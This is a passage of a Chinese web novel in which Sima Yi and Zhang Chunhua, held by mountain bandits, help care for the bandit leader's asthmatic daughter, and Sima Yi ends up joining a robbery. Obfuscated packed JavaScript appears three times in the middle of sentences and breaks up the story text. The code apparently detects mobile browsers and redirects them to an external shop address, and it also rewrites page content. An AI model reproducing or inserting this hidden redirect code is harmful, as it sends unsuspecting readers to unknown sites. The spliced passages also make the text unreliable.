顾刀疤闻言,又是一顿,看了看司马毅,表情疑惑;看了看张春华,目光贪婪但又可惜。他无奈地说道:“小兄弟,我确实看上你家夫人了,毕竟她勇猛、泼辣,又长得好看。可你既是我家绒花的救命恩人,便也是我顾某的救命恩人。我顾某人再浑蛋也不至于强抢恩人之妻。” “那你还……”司马毅急切地反驳,但因为还有惶恐,欲言又止。不过,他总算知晓顾刀疤这声“小兄弟”是在称呼自己了。 从“臭小子”“没用的废物”到“小兄弟”,顾刀疤的态度也算是有明显地转变。 司马毅的态度更傲慢了些,因为本身就比顾刀疤要高,望着他不禁有了些睥睨的姿态。 顾刀疤依旧好声好气地解释:“我不让小兄弟你与尊夫人离开,实在是因为有事相求。小兄弟你既然能救我们家绒花一次,就能救第二次、第三次……第无数次,在确定我们家绒花病况稳定之前,我是万不能放小兄弟你与尊夫人离开的。” “那若是你家绒花病况一直不好,你就一直要囚禁我们夫妇二人?”司马毅厉声正色地反问顾刀疤。 顾刀疤慌忙又道:“不是囚禁、不是囚禁,而是挽留你们夫妇二人在我们潜龙寨做客。小兄弟与尊夫人在潜龙寨期间,从我至全寨弟兄上下都会拿二位当作恩人。” “是吧?”顾刀疤更威严一声,随即望向其后的二刀子和二刀嫂,以及远在庭院中围观的其他一众山匪。 山匪们异口同声,回答:“是!” 但二刀子的面色显然有几分屈辱和难看。 顾刀疤又笑嘻嘻地回望司马毅,司马毅依旧警惕地盯着他,知他虽表面说得好听,可动用了这么多人,无非是在警告自己,不要给脸不要脸。 司马毅还真就不服,继续试探性地开口:“那若是我们夫妇现在一定要走呢?” 司马毅的话音刚落,顾刀疤的面色便即刻冷峻起来,满布威慑地注视着司马毅,稍微轻喝一声,旁边的二刀子便立马抽出腰间菜刀也来到司马毅面前。 顾刀疤意味不明地接着道:“小兄弟你们若是一定要走,我顾某自是不敢强留恩人。但恩人也该知晓,在这潜龙寨,此山是我开、此树是我栽,要想过此路,恩人总得留下什么来。比如,一条胳膊、一条腿,又或者……” 顾刀疤故意拉长尾调,而后才说:“一位压寨夫人。” “顾刀疤你!”司马毅恼羞成怒。 张春华冷静规劝司马毅,“仲达,你不用与他多言,大不了我们今夜就厮杀出去,纵然是死,我也绝不委身这等贼寇。” 张春华举着钗刃就要越过司马毅上前。 顾刀疤提醒他们,“二位别忘了,白日里是怎么被我们兄弟绑到山上的。在山下我们有且只有十几人,可这山上全是我潜龙寨的弟兄。” 司马毅于是一把拉住企图搏命自救的张春华,转眸对她认真摇了摇首,比口型说:“春华,我不能再让你为我冒险了。” 张春华微怔。 司马毅望回身前的顾刀疤,沉吟了片刻,软和了态度和语气,又道:“顾大当家的,你想让我们夫妇二人留下来不是不可以。但是,我有几个条件,还望顾大当家的应允。” 顾刀疤也是迟疑、纠结了好一阵,才不情不愿地开口:“小兄弟你说。” 司马毅不慌不忙道:“一者,你把我们夫妇二人的行囊和马匹还给我们。我夫人急需要一件干净整洁的衣衫。二者,从此以后,你绝不可再肖想我夫人分毫,若你对她有一丝逾矩之行,我就拉着你女儿和我们夫妇一起死。三者,我们可以留下来,但最多一月,一月后无论如何,你必须放我们平安离开。” “我这也是为你好,否则等我们的亲眷寻过来,只怕一气之下会灭了你们整个潜龙寨。”司马毅微微一笑。 虽然司马毅很清楚,自己和张春华离开许都是告知过韵竹和横槊的,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024028|144605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们轻易不会寻找自己。但是,张春华早前也警告过顾刀疤,自己与张春华的家世、出身不是顾刀疤可以惹得起的。 顾刀疤听了,面上的神色一会为难,一会惋惜,一会又有几许愤懑,到最后泄了气般地坚定回答:“这些条件,我可以答应你们一部分。行囊可以还你们,但钱银与马匹不行。我们寨中兄弟也很需要。另外,一个月太短了,至少三个月。三个月后无论如何,我顾刀疤亲自送你们夫妇下山。” 司马毅随之也表情纠结起来,为难地又在看向身后的张春华,向张春华询问她的意见。 张春华迟疑了一会,而后从容地颔首。 司马毅便答应顾刀疤道:“好,一言为定。” 顾刀疤附和:“一言为定。” 誓约既成,顾刀疤旋即喜笑颜开地又在吩咐:“二刀子他媳妇,你现在赶紧去收拾一间空屋子出来给我们小兄弟夫妇二人居住。” 二刀嫂懵里懵懂地答应着离开,“诶……诶好。” 顾刀疤便上前来揽着司马毅的肩膀,欲与他称兄道弟,“小兄弟……”他刚开口,司马毅便嫌恶地想要躲过。 但顾刀疤不甚在意,依旧强行揽着司马毅,继续询问:“小兄弟,还不知你尊姓大名?” 司马毅想了想,回答:“我姓仲,名毅,仲毅。” “仲”是原本司马懿表字“仲达”之首字。“毅”是自己本名司马毅之“毅”字。这也算是没有撒太大的谎。 “原来是仲兄弟。”顾刀疤改了称呼。 司马毅轻哼一声不答。他算是迫于形势才留在潜龙寨的,并不想与这潜龙寨的一群山匪有何更深的牵扯。 他仍旧记得,自己总有一日是要为了张春华向这顾刀疤寻仇的。 顾刀疤欣然又道:“说来,仲兄弟懂得医术,知晓喘疾?” 司马毅坦诚回答:“并不懂,只是知道一点偏方。因而,你也别指望我能治你女儿,还是乖乖去寻大夫吧。” 顾刀疤失落地反应:“哦,好。”但他不依不饶,逮着司马毅不停问话,“那除了这大蒜剁泥之法,还有其他什么偏方可以有助我闺女病况吗?” 司马毅又仔细思索了一会,才道:“给她换一间开阔、通风些的屋舍。要让她保持心情平和,太过高兴与太过伤心都不可以。平时,要远离灰尘、花粉,好好休息。” 顾刀疤听得不停点头称是,又吩咐二刀子,“明日,就明日把我那间屋子收拾出来给绒花住。我那间屋子宽敞。” 二刀子无奈答应。 司马毅瞧顾刀疤别的不说,对自家女儿还是真心疼爱,遂多嘴又道一句,“你既想为了女儿好,又何必一直做这些烧杀抢掠的恶事。绒花她年纪小或许还没什么,可等她年岁大了,你让她如何自处?” 没人会希望自己有一个坏事做尽的父亲。 顾刀疤闻言,显然再一怔。 二刀子则是怒气冲冲,斥责司马毅,“你懂个屁!你以为老子们想在这潜龙寨落草为寇,还不是……” 30. 第三十章 司马毅和张春华在潜龙寨留了下来。一众山匪也确实如顾刀疤承诺的那般,对他们还算客气。 二刀嫂难得见到个玉容花貌,还言行举止颇为矜贵的年轻女郎,时常拉着女儿雪娘,上前与张春华打招呼、攀谈,企图让女儿雪娘可以耳濡目染一些世家贵女的做派。 二刀嫂和雪娘也礼貌地询问过张春华的名讳。张春华学着司马毅的模样,也给自己编了个化名,叫作张木樨。 木樨一名乃是桂花的古旧雅称。 张春华虽不敢说爱极了金桂,但因为少年司马懿的缘故,对桂花总有几分偏爱,是而给自己取了这样一个化名。 于是,二刀嫂和雪娘都亲切地称呼张春华为“木樨”。二刀嫂偶尔会带上一个“丫头”,雪娘则是在其后总跟着“姊姊”二字。 除了二刀嫂和雪娘,倒还有一个人喜欢同张春华和司马毅做朋友。那便是顾刀疤年仅七八岁的女儿绒花。 绒花平常康健时,面色也不十分惨白,经日光照射过,还颇有几分粉雕玉琢的可爱意味。 小姑娘尽管年纪不大,但是自那日病后醒来,便因听别人说过而知晓张春华和司马毅是她的救命恩人。 怀着感激谈不上,毕竟她现在还未必懂得这两字的含义,但是对张春华和司马毅总比对其他人莫名亲近一些。 小姑娘会甜甜地唤司马毅,“仲哥哥。” 司马毅也乐得答应,一边应着在庭院里与雪娘玩耍的绒花,一边见四下没有太多熟悉的面孔,询问:“二刀嫂,顾刀疤和二刀子他们呢,今日怎么不见他们?” 二刀嫂耐心地解释:“他们进城去给绒花买药了。再给寨子里添些吃食,等回来怕是要到日暮。怎么,你找他们有事吗?” 司马毅摇头说没有。 二刀嫂便专心地拿着自己正在给绒花缝补的夏衫,给坐在她身旁的张春华瞧。 那是一块极粗糙的料子,乃至一整块做不出一件完整的衣裳,只能拼着其他颜色,勉强凑成一件薄衫。 二刀嫂想让缝合处好看些,正询问张春华是用平针还是用回针。 张春华笑说:“倒不如绣一丛蔓草、野花,定是要比寻常的针脚好看。” 可二刀嫂为难起来,不好意思地回答:“这刺绣的功夫我可不会。我只能简单地给这些布料缝在一起。” 二刀嫂话罢,更把手中的针线往前一伸,一副就算杀了自己自己也干不来的无奈模样。 张春华便顺着她的动作,接过她手里的针线,然后,按照自己的说法,开始在两块布的拼接之处绣起蔓草和野花来。 一片叶子、一朵花,很快就走针成形。二刀嫂望之惊叹:“木樨丫头,你还真是心灵手巧。” 张春华不以为意地微笑摇头。司马毅旁听见,更迎合着二刀嫂的话,没有丝毫谦逊地也大肆夸赞起张春华,“二刀嫂,我们木樨可不只是心灵手巧。她更文武双全,琴棋书画、刀枪剑戟,样样精通。” 这些话听得二刀嫂一愣一愣的,望着张春华的目光都欣赏、惊叹到熠熠生辉。 司马毅还指着自己腰间的香囊,更道:“这荷包就是我们木樨缝制的。不仅针脚细密、排列整齐,看不出一丝瑕疵来。就连上面的梅兰竹菊都栩栩如生。” 二刀嫂更道一句:“我的娘嘞。”当即起身,去到司马毅面前,拈着他那挂在腰上的香囊不停地抚摸、称赞。 司马毅随之为了逗二刀嫂,一把将香囊从二刀嫂手中抢回,快退了几步,到稍远的一旁,狡黠地说着:“二刀嫂,你别看了。你看这玩意再多次也没用,你又做不出来。” 二刀嫂顿时怒哼了一声,转眸又望张春华,满目的恳求和期待。 张春华略瞋了司马毅一眼,而后欣然与二刀嫂说道:“若是二刀嫂想学,我可以简单教二刀嫂一些。” 二刀嫂点头如捣蒜,又坐回张春华身边,扬言:“等我学会了,就给雪娘、绒花她们绣在衣服、裙摆上。” 张春华闻言,微微莞尔,一面看着司马毅已经被雪娘和绒花拖拽着要去玩扮戏,一面不禁好奇,随意提了一嘴,“绒花她自小也是由二刀嫂您带大的吗?” 二刀嫂颇骄傲得意,“自然。” 但转而她又长长地叹了一口气,莫可奈何地打开话匣子,“绒花她啊,也是个可怜的丫头。” 张春华不明所以地眨了眨眼。 二刀嫂便主动往下说去,“你别看顾大哥总说绒花是他闺女,可是根本不是。顾大哥一个单身汉,既没媳妇,也没相好,哪生得出来绒花这么个活生生的丫头。” “那绒花是?”张春华略停了停手里的针线,自然而然地反问。 二刀嫂瞥了不远处的绒花一眼,随即小声起来,继续与张春华说:“她是顾大哥结拜兄弟的女儿。只是早年傜役、征兵,绒花她亲爹家里就他一个儿郎,便被强拉去上了战场。顾大哥也去了。后来,顾大哥偷跑回来,绒花她爹却是战死了。” “绒花没了爹,亲娘改嫁,眼瞅着小丫头一个人可怜,顾大哥便抱回家去养。”二刀嫂唉声叹气。 张春华安慰她地笑笑,劝她道:“那也还好,至少绒花还有一位疼爱她的新父亲。” “那顾大哥确实是很疼爱绒花的。”二刀嫂也不禁夸起顾刀疤来,遗憾说道,“还是木樨丫头你嫁得太早,若是你能先遇到我们顾大哥,嫁给他,留在我们寨子就好了,便可以一直教我些缝补。” 张春华无奈摇头。 二刀嫂赶忙又道:“木樨丫头,你别嫌弃我们顾大哥。他虽然是个粗人,也不懂什么之乎者也,但他是个好人,大大的好人。我们全寨都仰仗他,若是没有他,这整个寨子的人早死光了。” 张春华又露出不甚明白的神情来。 二刀嫂便继续解释:“木樨丫头,你这一路到荆襄,可看见路上的流民了?他们都是些可怜人,天灾人祸,没了家园。朝廷又不曾救济、赈灾,反而借机更加欺凌、抢夺财物。没有钱的就强拉去充军。如今,这个世道,还有几个村子能有人烟。便是真有人,也都是些老弱病残。” “这些……我隐约知道一点。”张春华不由自主也哀伤起来,嗓音低低地告诉二刀嫂。她虽鲜少亲眼见过,但在她父亲的案牍上,多得是因此陈情、上表的文书。有些不会写字的村民,就只能按下血掌印,诉说自己遭遇的不公。 “是啊,我们村子,本也如此。”二刀嫂亦是长吁短叹,“所以,你也看见了,我们寨子里多是些老弱,根本没什么壮丁。顾大哥是逃兵,我家那二刀子是死了三个兄长的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033101|144605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 张春华的表情沉重。 二刀嫂则是不以为意地复笑起,仿佛已经释然,娓娓地继续往下说:“后来,这荆州又要征兵。莫说是顾大哥、二刀子,就连小树、小枣他们几个才八九十岁的青瓜蛋子都要被强行拉去。小树跑到顾大哥那里痛哭了一通,说他是可以走,但是他走了,他病在榻上的爷奶要如何活下去?” “随后,不仅是小树、小枣,就连我们二刀子也去求顾大哥想办法。当时,我怀着雪娘她弟弟已经四五个月。虽然这孩子最终无福被生下来,可顾大哥想着反正外面都乱了,我们何必被朝廷作贱。于是杀了来征兵的差吏,来到这鹊尾坡上落草为寇。就算不是些善义之举,但是我们整个村子都能活下来。” “木樨丫头。”二刀嫂郑重其事又在唤张春华,一字一顿道,“顾大哥他带着我们可一直是劫富济贫,虽难免杀过几个人,但从不欺负贫苦之人。” “顾大哥是好人。”二刀嫂重复。 张春华听罢,沉默了默,一时不知该如何回答二刀嫂才好。 她总不能因为听了二刀嫂的片面之词,就对欺辱过自己的顾刀疤改观。 司马毅不知何时走到她们面前,义正辞严地说着:“即便如此,顾刀疤他们强行将我们绑来山上,夺了我们的钱银、马匹,也不是什么好人。更何况,他还强抢民女,企图、企图……” 司马毅心疼地望向张春华,没有把后面的详细说完。但是,他只要一经想起,那天夜里张春华所受的委屈和侮辱,便目眦俱裂起来。他浑身被浓盛的怒气萦绕,以至刚唤他一声“仲哥哥”的绒花,便被吓得不敢再出一声。 张春华望着司马毅认真摇头。 二刀嫂汲汲地张嘴想要解释。但不等她出声,自前院便传来几个粗犷的怒吼,像是顾刀疤和二刀子他们回来了。 他们经前堂入后院。二刀子啐声:“他娘的,这群嗜血的蚂蝗、蛆虫,居然趁着天下大乱,哄抬药价。” “从前几个五铢一副的喘疾药,今日居然要五十个钱!怎么不去抢?对,就是抢!大哥!”二刀子匆匆地唤一声顾刀疤,继续说,“我们去抢吧,就去新野城里抢。让他们不卖给我们药。” 顾刀疤面色深沉,没有立马接话。 还是二刀子自己否定自己,“可是那新野城中,有那劳什子刘备、关羽、张飞和赵云坐镇。我们哪里抢得过!别的不说,那赵子龙一人,上次就差点剿了我们寨子。可怎么办啊,大哥,总不能让绒花不吃药啊!” 顾刀疤依旧在沉思。 良久,顾刀疤说:“那我们就再去劫道。最近到荆襄来的人多,劫一次不够,那就两次、三次,十次、百次,直到给绒花劫够药钱。” “可是,这劫得多了,那新野里的几人怕是也不会放过我们。”二刀子怯怯地又道。 顾刀疤不容置疑地回答:“为了绒花,大不了和他们拼了。” “那明日我们再带上小树、小枣他们?”二刀子问。 顾刀疤重重点头,司马毅则是目瞪口呆地嫌弃提醒,“这金银玉石总要来路得当,才可心安理得地使用。你们这样罔顾律法,只知明抢,与那些哄抬药价的蚂蝗、蛆虫有何区别?” “你们又焉知这些人家中没有像绒花一样的可怜娃娃?!” 31. 第三十一章 顾刀疤和二刀子几人并不能苟同司马毅的看法。 二刀子还是愤愤的那句:“你懂个屁!” 顾刀疤则是不容置疑地告诉司马毅,“若是绒花活不了,便让全天下的孩童都给绒花陪葬又有何妨?” “我只要,也只在意绒花活着。”顾刀疤更咬牙切齿,一字一顿地说道。 司马毅想反驳什么,但终究无话可说。他并非不能理解顾刀疤的拳拳爱女之心,顾刀疤大概也是逼不得已,但一直这样违法犯罪的做法,总不符合他一个未来人的认知。 第二日,顾刀疤和二刀子等十几个人又下山了。 只是,此次回来,他们并没有得到很多钱银。 二刀子更斥骂:“怎么都是些难民、穷鬼,他们身上的三瓜两枣,都不够给绒花开半月的药钱。” 于是,就有了第三日、第四日……连续的下山劫掠,但依旧是收获杳杳。 眼瞅着绒花上一次开的几副药就要吃完,还没有凑齐这次的买药钱,顾刀疤急得是整宿整宿地睡不着。 到只剩下最后一副药的那天,顾刀疤更是提着断刀就要往山下冲。二刀子拦住他,问他要去做什么,顾刀疤只道,实在没有办法了,他只能去新野城的药铺里抢。 二刀子虽惶恐,但本着兄弟义气,还是扬言要与顾刀疤一起。顾刀疤义正辞严地拒绝,若是自己不幸回不来,这潜龙寨还得交给二刀子,自己才放心。 顾刀疤就要一个人去,不必任何人陪,也不想拖累任何人。 一时间,整个潜龙寨都萦绕在一种大当家的即将有去无回的悲伤气氛之中。 司马毅被压抑得喘不过气,私下与张春华计较有没有什么其他更好的办法。虽然自己和张春华都还是憎恶顾刀疤的,但不得不体谅他的身不由已,以及可怜小小的绒花。 张春华没有与司马毅多言,只毫不犹豫地取出腰间金璨的钗刃交到司马毅手中,笑说:“给他们吧,虽不算多,但也能解燃眉之急。” 司马毅望着自己手中那沉甸甸的金钗,一时五味杂陈。这金钗从前是一直戴在张春华发上的。张春华用它为了救自己杀过晚雪。后来,他们离开许都,扮作平民,张春华才不得不取下来,但依旧贴身携带。也是因为有它,那夜张春华才能避免被顾刀疤玷污。 现在,张春华要把她的防身之器交给自己的仇人,司马毅既觉得心疼,又觉得自己有愧于她。 若是自己再有本事一点就好了。 司马毅迟疑着,还是阻止顾刀疤,开口:“倒也还不至于直接就要飞蛾扑火、自寻死路。你们若是钱银不够,我们这里还留存一些。” 司马毅露出金钗的钗刃,但五指依旧紧紧地把握住钗柄。 二刀子望着那璀璨夺目的金钗,眼眸里泛出垂涎的精光。他不可思议地来回打量司马毅和张春华。 就连顾刀疤慷慨赴死的决绝面容都为之一滞。顾刀疤上前欲去拿过那金钗,但又顿了顿,不好意思地询问司马毅和张春华,“你们当真愿意把这东西给我们?” 司马毅讥唇回答:“其实不愿,但又能怎么样呢,绒花的病要紧。”说着,司马毅将金钗往前更递了几分。 顾刀疤这下毫不犹豫地就伸手来接。他拽着匕刃,要从司马毅手中夺去。司马毅死死地捏住,不情不愿地一点一点松开,直到最后顾刀疤使了把脸都憋红的力,整个金钗才彻底被顾刀疤夺去。 司马毅舍不得地撇开脸,不愿再看那金钗一眼,只慷慨悲愤地又道:“你们快拿去换钱,给绒花买药吧。” 顾刀疤拿着金钗,听了司马懿的话,就是要走。但他刚转身几步,便又倏地回首,大步流星到司马毅身旁的张春华面前。 张春华下意识地往后退了一步,因为之前的遭遇,本能地露出满面的戒备之色。她甚至在衣袂之下握紧了拳头。 司马毅也感受到一阵如风的速度,跟着回过身来,厉声质问:“顾刀疤,你想做甚?你该不会看着我夫人手上如今没了兵刃,就想趁虚而入?” “我警告你,你休想!”司马毅抬起手直指顾刀疤。 顾刀疤却是没有答话,片刻的安静之后,突然拱手、作揖,深深地朝着张春华一拜,郑声:“我顾某人与绒花永远感念女郎大恩。” 张春华这才略微松了拳头,司马毅也收回手。 随之,顾刀疤头也不回地离开。二刀子紧跟上去。一直在旁围观的二刀嫂过来抓住张春华的手,感激得有泪水在眼眶打转,不停地轻拍张春华的手背。 张春华对二刀嫂粲然扬笑。 这根金钗确实给潜龙寨换来不少钱,不仅买到了绒花月余的汤药,就连其他缠绵病榻的,诸如王媪和张叟的等人的,也得以续上。并且未来一个月,整个潜龙寨都不必再为吃喝发愁。 司马毅和张春华也在潜龙寨过上了几天安生日子。 这下就连二刀子对他们也格外客气。小树、小枣直称呼他们“仲大哥”和“仲大嫂”。顾刀疤还悄悄地避开其他人,对二人抛出招揽之意。 顾刀疤是揽着司马毅,当着张春华面说的:“仲老弟、弟妹,从前一场误会,是我顾某多有得罪,还望你们大人不记小人过,莫要仇恨我。我觉得与你们投缘,你们往后不如就留在这鹊尾坡上,我是大当家的,仲老弟你就是二当家的。你们夫妻协力,我们一起下山劫掠,定能在这乱世穿金戴银、酒足饭饱,如何?” 司马毅想都没想就拒绝,回答:“不可能,我是绝不会与你们一道行不义之举的。” “可我们劫的都是些无良富贾。”顾刀疤理直气壮地为自己辩驳。 司马毅不信,指了指自己和张春华,昂首垂眸睨他,状若在询问,那他们夫妇是怎么被顾刀疤等人抓来山上的,难道他们是什么无良的富贾不成。 顾刀疤顿时心虚起来,呵呵笑着,坦诚道:“还不是你们太有钱了,瞧着可不像什么好人。这世家大族纵然只是吃朝廷俸禄,朝廷给的也是从百姓之中鱼肉来的。所以,我劫你们,你们也不冤。” “不过,你们是好人,大大的好人。尤其是弟妹这性子、姿色……”眼见司马懿的面色越来越难看,顾刀疤赶忙改口、服软,“你们也知晓,顾某我三十来岁了,还没娶过媳妇,连女人手都没摸过几遍,总想着要在老死前找个能暖被窝、让自己在床上食髓知味的。” “再说,我有了媳妇,绒花也就有了娘。娘自是会尽心尽力地照顾绒花。”顾刀疤率真扬唇。 司马毅觉得他说话太过直接、粗鲁,嫌弃地皱了皱眉,望向张春华,与张春华使眼色,这人从前和现在对自己俩人的态度差别倒是悬殊。 张春华也觉得顾刀疤说话难听,羞耻地不愿看他们。又因为这些话实在坦诚,忍俊不禁回望司马毅,微摇了摇头。 司马毅郑重告诉顾刀疤,“无论你怎么说,我们夫妇二人总是要下山、离开的。但是只要我们还在这潜龙寨,就会尽力地帮你照顾绒花。” 顾刀疤也不再强求,感激地对司马毅颔首。 一月过去,到张春华那根金钗换来的钱用得差不多,为了维持潜龙寨一群老弱孤幼的生存和绒花的汤药,顾刀疤又开始领着二刀子等人下山劫掠。 但乱世之中总归可怜人居多,他们的收获仍旧微薄。好不容易遇上一行富户,人家还雇了许多武艺精湛的护卫,乃至顾刀疤等人不仅没讨到财物,反叫小树、小枣几人都负了伤。 十几个人全须全尾的出去,回来的时候七八个人都挂了彩,严重如张伯更是腰腹被划开一刀,整个人晕死过去,三四日了还没醒来。 绒花的药又快见底。 顾刀疤愁得不成样子。人数不够,他也两三日没有下山。 时值春末夏初,天气渐渐热起来,四野繁花飘零,常有花粉夹杂其中,绒花犯病的次数也越来越多。 司马毅和张春华也轮不到好好休息,无论白天、夜里,只要绒花犯病,他们便需要立马前往帮忙。 蒜泥之法用得久了,渐渐用处也不太大。 司马毅坦白地告诉顾刀疤,“想稳住绒花的病情,还是只有喂她吃药。” 偶尔绒花半病半醒之间,也察觉他们大人之间的为难,拉着顾刀疤的手,哽咽道:“阿爹,绒花不要吃药了,你们也不要管绒花了。绒花不乖,只会拖累你们。没有了绒花,不仅是阿爹、二刀叔、二刀婶,大家都会过得很好的。” 绒花越难过,呼吸也就越喘促。 顾刀疤难得对绒花生气,怒斥她,“你胡说八道什么?这辈子阿爹就是死了,也要保你活得好好的。” “绒花、绒花,爹的绒花,你可不能有事啊。”顾刀疤将绒花揽进怀中,用力地抱着,附唇在她发顶之上,不停地呢喃。 绒花先是应着好,而后呼吸越来越艰难。司马毅立马拨开顾刀疤,让他快放开绒花,然后自己抚着绒花的背脊,无数遍地告诉她要如何呼吸。 吸气——吐气—— 绒花病情好不容易又平复下来。顾刀疤一出绒花寝居,便一拳打在旁边的灰黑墙皮上,墙皮颤巍巍地脱落。顾刀疤的手上也见了血色。 二刀嫂担忧地唤他,“顾大哥。” 顾刀疤置若罔闻地兀自说道:“明天还是要去山下劫掠,纵然只剩下我和二刀子,就算只剩下我一个人,我也不能看着绒花无药可医。” 二刀子慷慨激昂,“好,大哥,我陪你去。” 甚至,不仅是二刀子,就连知晓如今寨中情况,负伤了的小树、小枣等人,也赶来到顾刀疤面前,表明决心,“大哥,我们只要还没死,有脚能走、有手能拿刀,就还能陪大哥下山劫道。” 他们话音刚落,二刀嫂便是作势要打他们,斥责:“你们凑什么热闹?这一个伤了右手,一个伤了左腿,还流着血呢。你们下山,是给你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043378|144605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾大哥帮忙的,还是添堵的?” 小树和小枣羞愧起来。他们重重地垂下头去,望着地面,满身都萦绕上哀伤。 顾刀疤欣慰地摸着他们的脑袋,安慰:“没事,等你们好了,再陪你们顾大哥我下山劫掠。” 可是,顾刀疤的眼中满是疲惫与哀伤。 司马毅一瞬间觉得,顾刀疤虽然是山匪、是恶人,是无视律法之所在,但他身上的担子也并不比任何人轻松。 他一个人肩负了整座山寨的存亡。寨子里的病弱又多,都嗷嗷地张着口,等待他来喂食。他们下山劫掠来的不多钱银,不仅要满足一整个寨子的温饱,还要供绒花等人吃药。 有的时候,顾刀疤主动承担起的一身责任,甚至比一地的父母官还要重。因为父母官都未必会如顾刀疤这般爱着这群寨子里的山匪。 顾刀疤确实可恨,但又有无数的逼不得已、身不由己。 司马毅悄悄长叹一声。但由于夜晚极静,饶是努力克制,还是被旁边的小树、小枣听了去。 小树、小枣听了他的叹息,顿时精神起来,昂起首,纷纷指向他,激动说道:“顾大哥,我们不能陪你,还有他。他比我们都年长、力气大。若是他和顾大哥、二刀哥一起下山劫道,一定能收获不少钱银。” 两个小少年眼眸望着司马毅都极明亮。牵连着二刀子也好像豁然开朗,上前拉司马毅,雀跃道:“对,仲兄弟,你和我们一起下山去打劫吧。有你在,我们一定能抢回给绒花买药的钱。” 司马毅还没急着回答,二刀子又回望顾刀疤,询问:“大哥,你觉得我们说得对不对?就让仲兄弟陪我们下山去。” 顾刀疤的眼色也显然一亮,但随即便晦暗下去。他想起早前,自己招揽司马毅,被司马毅义正辞严地拒绝了。如今,自己既受了司马毅如此之多的恩惠,更不好强行逼迫他。 顾刀疤的面上露出难色。 司马毅替自己出声道:“我不去。我本不可能与你们同流合污。我既不是山匪,也不是贼寇,做不来杀人越货的事情。你们指望谁都别指望我。” “可是,仲大哥你不去,我们顾大哥要怎么办,整个潜龙寨又要怎么办,还有绒花怎么办?”小树和小枣上前拉住司马毅的衣袂,苦苦哀求,“仲大哥求求你了。你和我们一起待了这么久,即便还不是一家人,也还有几分情意在。你更是一直照顾着绒花,难道你忍心看绒花没钱吃药、治病吗?” 司马毅被说得语噎了噎,他自是不忍,但他也还有自己坚持和底线。 司马毅只无声地摇头。 二刀子气不过,抽了菜刀出来,亮在司马毅面前,扬了扬,威胁道:“仲兄弟,你若是不去,我就把你绑去。你要是不怕死,我就去绑弟妹。你总不能让弟妹再为你涉险。” 司马毅顿时也气恼起来,怒瞪着二刀子。若说他原先还有不忍,可二刀子一旦拿张春华威胁他,他就只剩下愤恨了。 顾刀疤正想说:“算了。” 身后的屋室内,又在传出绒花忽促的呼吸。几人一时也没了争论,纷纷涌进屋子,去帮助绒花。 司马毅好不容易再次安抚好绒花,认真地告诉顾刀疤,“绒花这病像是越来越严重了,无论你想怎么做,明日先请个大夫回来为绒花瞧一瞧。看看是不是要更换药方,或者还有其他注意事项。” 顾刀疤点头如捣蒜。 翌日,顾刀疤没去下山劫掠,而是赶到新野城中绑了个大夫前来。大夫虽满口怒骂,但真看见绒花,还是用心诊治了一番。 大夫唉声叹气,“这小丫头的喘疾太严重了些,自己身子又差,体虚了便是如何吃药也难以根治。你们若是想救她,不仅要加大这咳喘之药的剂量,还要将她养得康健些。” “可老夫瞧你们这寨子……”大夫更是无奈,只得坦白告知,“若是短时之内,不能将这小丫头身子养好、再辅以汤药,只怕这小丫头撑不过两三次再度发病。” “大夫,我要药,我们要药。”顾刀疤死死地拽着大夫的衣襟,目眦欲裂。 大夫诚惶诚恐,怯怯地回答:“我这药囊里勉强能给她配出一副。但之后的怕是要八十、乃至一百钱一副。” 这价格饶是司马毅都目瞪口呆。 司马毅质问大夫,“什么山参、鹿茸需要这许多钱?” 大夫更叹息道:“也不是老朽刻意要价。而是这世道乱了,草药难得。即便今日我和你们说八十、百钱,可明日说不准就要二百、一千钱了。” “你们是要吸人骨血,将人扒皮抽筋吗!”司马毅怒声。 大夫不敢说话。 顾刀疤坚定道:“无论如何,明日要劳烦仲兄弟你陪我们下山一趟了。顾某知晓你心中自有道义,顾某必不会强求你伤人,但是顾某不得不依靠仲兄弟你。” 司马毅一时意气,竟也信誓旦旦地答应:“好,我跟你们去。” 32. 第三十二章 司马毅第一次做山匪,虽没什么经验,但他也被顾刀疤几人绑过,在未来还看过不少电影、电视作品,故而自以为还是可以胜任的。 但他到底也怕丢面子,索性寻了块破布,绑在脑袋上,把脸遮起来。 二刀子说他怪事多。 司马毅一本正经地回答:“你不懂。这万一日后我终究是要扬名天下的,这种丢人的事情就不必为外人知晓了。” 然后,司马毅随手挑了个镰刀,便跟着顾刀疤、二刀子几人下山去。 到了山下,日光明耀,草木葱郁。自略高于平地的山坡往下望去,弯弯曲曲的行道上,来往络绎不绝。不过大多都是些司马毅熟悉的布衣文士和逃难灾民。 这些人中也不过布衣文士可以勉强一劫。即便是布衣文士,他们身上的三瓜俩枣凑在一起也没有多少钱。 总归是好过没有。 